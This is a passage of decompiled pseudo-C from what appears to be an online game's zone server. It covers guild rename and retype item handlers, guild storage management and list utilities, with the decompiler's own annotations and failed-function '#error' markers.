776))(v3, 29, 173); LABEL_10: v19 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)(v3 + 57736) + 4))( v3 + 57736, 9, *(_BYTE *)(netcmd + 2), *(_WORD *)(v3 + 92150)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 173); goto LABEL_10; } v7 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD))(v3 + 35536))(v3 + 35536); v8 = ItemDataBox::idb_SpecialItems(&itemdatabox); if ( v8->sii_GuildReName == ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v7) ) { v9 = ItemInventoryCell::iic_ItemLot(v7); if ( !AssertClass::operator__( &shineassert, (signed int)v9 > 0, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Try to use lot 0 item", 0) ) { v10 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v7); v11 = ItemDataBox::operator__(&itemdatabox, v10); v12 = v11 && v11->data; if ( AssertClass::operator__( &shineassert, v12, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 173, 6725); v19 = -1; goto LABEL_11; } v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29871; *((_WORD *)v13 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v13 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); Name4::operator_((int)(v13 + 9), netcmd + 3); v13[8] = *(_BYTE *)(netcmd + 2); v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 25); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Packet Too Long", 25) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v15); v19 = -1; goto LABEL_11; } goto LABEL_17; } v16 = 6725; } else { v16 = 6723; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 173, v16); LABEL_17: v19 = -1; goto LABEL_11; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 173, 6721); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"); } // 452500: could not find valid save-restore pair for ebx //----- (00452830) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ(int a1, int a2, int netcmd) { int v3; // esi@1 int v4; // eax@5 const char *v5; // ST08_4@8 signed int v6; // eax@8 ItemInventoryCell *v7; // edi@14 SpecialItemIdent *v8; // ebp@14 unsigned int v9; // eax@18 unsigned __int16 v10; // ax@20 ItemDataBox::ItemDataBoxIndex *v11; // eax@20 int v12; // eax@22 char *v13; // edi@26 char v14; // al@26 ZoneBaseSession *v15; // eax@27 signed int v16; // [sp-4h] [bp-24h]@15 signed int v17; // [sp+0h] [bp-20h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v19; // [sp+1Ch] [bp-4h]@1 v3 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S12_21 & 1) ) { _S12_21 |= 1u; cmc_39.cmc_AllowMode = 86; atexit(_E13_16); } if ( !((1 << **(_BYTE **)(v3 + 3716)) & cmc_39.cmc_AllowMode) ) { v17 = 6745; LABEL_30: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 181, v17); goto LABEL_31; } v4 = *(_DWORD *)(v3 + 98); if ( !v4 || !*(_BYTE *)(*(_DWORD *)(v4 + 12) + 158) ) { v17 = 6746; goto LABEL_30; } if ( !(*(_BYTE *)(v3 + 69416) & 0xC) ) { v5 = (const char *)*(_BYTE *)(netcmd + 2); v6 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)(v3 + 35536) + 8))( v3 + 35536, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : wrong slot"); if ( AssertClass::operator__(&shineassert, *(_BYTE *)(netcmd + 2) < v6, v5, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 181); LABEL_10: v19 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)(v3 + 57736) + 4))( v3 + 57736, 9, *(_BYTE *)(netcmd + 2), *(_WORD *)(v3 + 92150)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 181); goto LABEL_10; } v7 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD))(v3 + 35536))(v3 + 35536); v8 = ItemDataBox::idb_SpecialItems(&itemdatabox); if ( v8->sii_GuildReType == ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v7) ) { v9 = ItemInventoryCell::iic_ItemLot(v7); if ( !AssertClass::operator__( &shineassert, (signed int)v9 > 0, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Try to use lot 0 item", 0) ) { v10 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v7); v11 = ItemDataBox::operator__(&itemdatabox, v10); v12 = v11 && v11->data; if ( AssertClass::operator__( &shineassert, v12, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 181, 6749); v19 = -1; goto LABEL_11; } v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29879; *((_WORD *)v13 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v13 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); v13[9] = *(_BYTE *)(netcmd + 3); v13[8] = *(_BYTE *)(netcmd + 2); v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Packet Too Long", 10) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v15); v19 = -1; goto LABEL_11; } goto LABEL_17; } v16 = 6749; } else { v16 = 6747; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 181, v16); LABEL_17: v19 = -1; goto LABEL_11; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 181, 6745); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"); } // 452830: could not find valid save-restore pair for ebx //----- (00452B60) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_GuildReName(char nItemSlot, __int128 sGuildName) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GuildReName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReName"); } //----- (00452BB0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_GuildReType(char nItemSlot, char nType) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GuildReType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReType"); } //----- (00452C00) -------------------------------------------------------- #error "452C00: undefined or illegal type '#434' (funcsize=202)" //----- (00452EE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46095); if ( v2 < 0x80u && (v3 = 18 * v2 + 209440896, 18 * v2 != -209440896) ) { if ( *((_WORD *)v1 + 2) == queue_GuildReName.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29873; *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_DWORD *)v16 + 2) = *(_DWORD *)(v3 + 2); *((_DWORD *)v16 + 3) = *(_DWORD *)(v3 + 6); *((_DWORD *)v16 + 4) = *(_DWORD *)(v3 + 10); *((_DWORD *)v16 + 5) = *(_DWORD *)(v3 + 14); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess : Packet Too Long", 24); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 776))(v1, 29, 173, 6720); } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReName Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReName Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_5A4E3C); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00453140) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46096); if ( v2 < 0x80u && (v3 = 4 * v2 + 209443208, 4 * v2 != -209443208) ) { if ( *((_WORD *)v1 + 2) == queue_GuildReType.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29881; *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); v16[8] = *(_BYTE *)(v3 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess : Packet Too Long", 9); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 776))(v1, 29, 181, 6744); } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReType Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReType Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_5A4E3C); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00453390) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { MemoryQueue *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x12u, 128, (void (__thiscall *)(void *))MemoryQueueElement::MemoryQueueElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mq_Pointer.mask = 127; v1->mq_Pointer.value = 0; } //----- (004533D0) -------------------------------------------------------- void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this) { _eh_vector_destructor_iterator_( this, 0x12u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004533F0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReName *content) { unsigned int v3; // eax@1 char *v4; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; v4 = (char *)&this->mq_Buffer[this->mq_Pointer.value].content; *(_QWORD *)v4 = *(_QWORD *)&content->sGuildName.n4_name[0]; *((_QWORD *)v4 + 1) = *(_QWORD *)&content->sGuildName.n4_name[8]; return LOWORD(this->mq_Pointer.value); } //----- (00453450) -------------------------------------------------------- #error "453450: undefined or illegal type '#434' (funcsize=206)" //----- (00453750) -------------------------------------------------------- char __thiscall GuildStorage::GuildStorageElement::gse_GuildCheck(GuildStorage::GuildStorageElement *this, unsigned int guild) { return this->gse_Guild == guild; } //----- (00453760) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::GuildStorageElement(GuildStorage::GuildStorageElement *this) { GuildStorage::GuildStorageElement *v1; // esi@1 v1 = this; ItemGuildStorage::ItemGuildStorage(&this->gse_Storage); v1->gse_Guild = 0; } //----- (00453790) -------------------------------------------------------- char __thiscall GuildStorage::GuildStorageElement::gse_FreeDeactivate(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 handle) { if ( !this->gse_Activate ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); return 1; } //----- (004537B0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_Deactivate(GuildStorage::GuildStorageElement *this) { this->gse_Activate = 0; } //----- (004537C0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetActivate(GuildStorage::GuildStorageElement *this) { this->gse_Activate = 1; } //----- (004537D0) -------------------------------------------------------- int __thiscall GuildStorage::GuildStorageElement::gse_GuildCompare(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 hnd, GuildStorage::GuildStorageElement *key) { return key->gse_Guild - this->gse_Guild; } //----- (004537F0) -------------------------------------------------------- unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetMoney(GuildStorage::GuildStorageElement *this) { return this->gse_Cen; } //----- (00453800) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetMoney(GuildStorage::GuildStorageElement *this, unsigned __int64 set_cen) { this->gse_Cen = set_cen; } //----- (00453820) -------------------------------------------------------- unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetToken(GuildStorage::GuildStorageElement *this) { return this->gse_Token; } //----- (00453830) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetToken(GuildStorage::GuildStorageElement *this, unsigned __int64 nToken) { this->gse_Token = nToken; } //----- (00453850) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B1104: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00453870) -------------------------------------------------------- #error "453870: undefined or illegal type '#434' (funcsize=84)" //----- (00453970) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::_GuildStorageManager(GuildStorage::GuildStorageManager *this) { GuildStorage::GuildStorageManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->gsm_StorageArray, 0x1070u, 300, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::_GuildStorageElement); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5B1104: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (004539E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageClose(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v1 + 34106) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"); } //----- (00453A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageError(void *this, __int16 err) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageError"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildStorageError"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29842; *((_WORD *)v3 + 1) = err; v3[20] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 21) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildStorageError : Packet Too Long", 21); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageError"); } //----- (00453B30) -------------------------------------------------------- void __thiscall ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(ShineGuildStorageWithdraw *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring) { char *v2; // edx@1 PROTO_NC_GUILD_STORAGEWITHDRAW_CMD *v3; // edx@1 this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildStorageWithdraw::_vftable_; this->sgsw_GuildNo = ring->gldregnum; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29844; this->sgsw_NetCommand = (NETCOMMAND *)v2; this->sgsw_WithdrawPacket = (PROTO_NC_GUILD_STORAGEWITHDRAW_CMD *)(v2 + 2); v2[2] = ring->type; this->sgsw_WithdrawPacket->isBuy = ring->isBuy; v3 = this->sgsw_WithdrawPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgsw_WithdrawPacket->item = ring->item; this->sgsw_WithdrawPacket->slot = ring->slot; this->sgsw_WithdrawPacket->___u5.lot = ring->___u7.lot; } // 5B121C: using guessed type int (__stdcall *ShineGuildStorageWithdraw___vftable_)(int, __int16 GuildInven); //----- (00453BB0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(GuildStorage::GuildStorageManager *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring) { ShineGuildStorageWithdraw sgsw; // [sp+4h] [bp-1Ch]@1 int v3; // [sp+1Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(&sgsw, ring); LOBYTE(v3) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgsw); --funcallanalizer.fca_stackpoint; sgsw.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v3 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00453C70) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00453CC0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 PROTO_NC_GUILD_STORAGEWITHDRAW_RNG tempring; // [sp+4h] [bp-38h]@4 unsigned int v5; // [sp+2Ch] [bp-10h]@5 int v6; // [sp+38h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v6 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { memcpy(&tempring, v3, sizeof(tempring)); GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(&gldstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); } else { --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); } __security_check_cookie(v5); } //----- (00453DC0) -------------------------------------------------------- GuildStorage::GuildStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildStorage::GuildStorageElement *, List *, unsigned __int16, GuildStorage::GuildStorageElement *), unsigned __int16 *hnd, GuildStorage::GuildStorageElement *key) { GuildStorage::GuildStorageElement *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (00453E30) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; 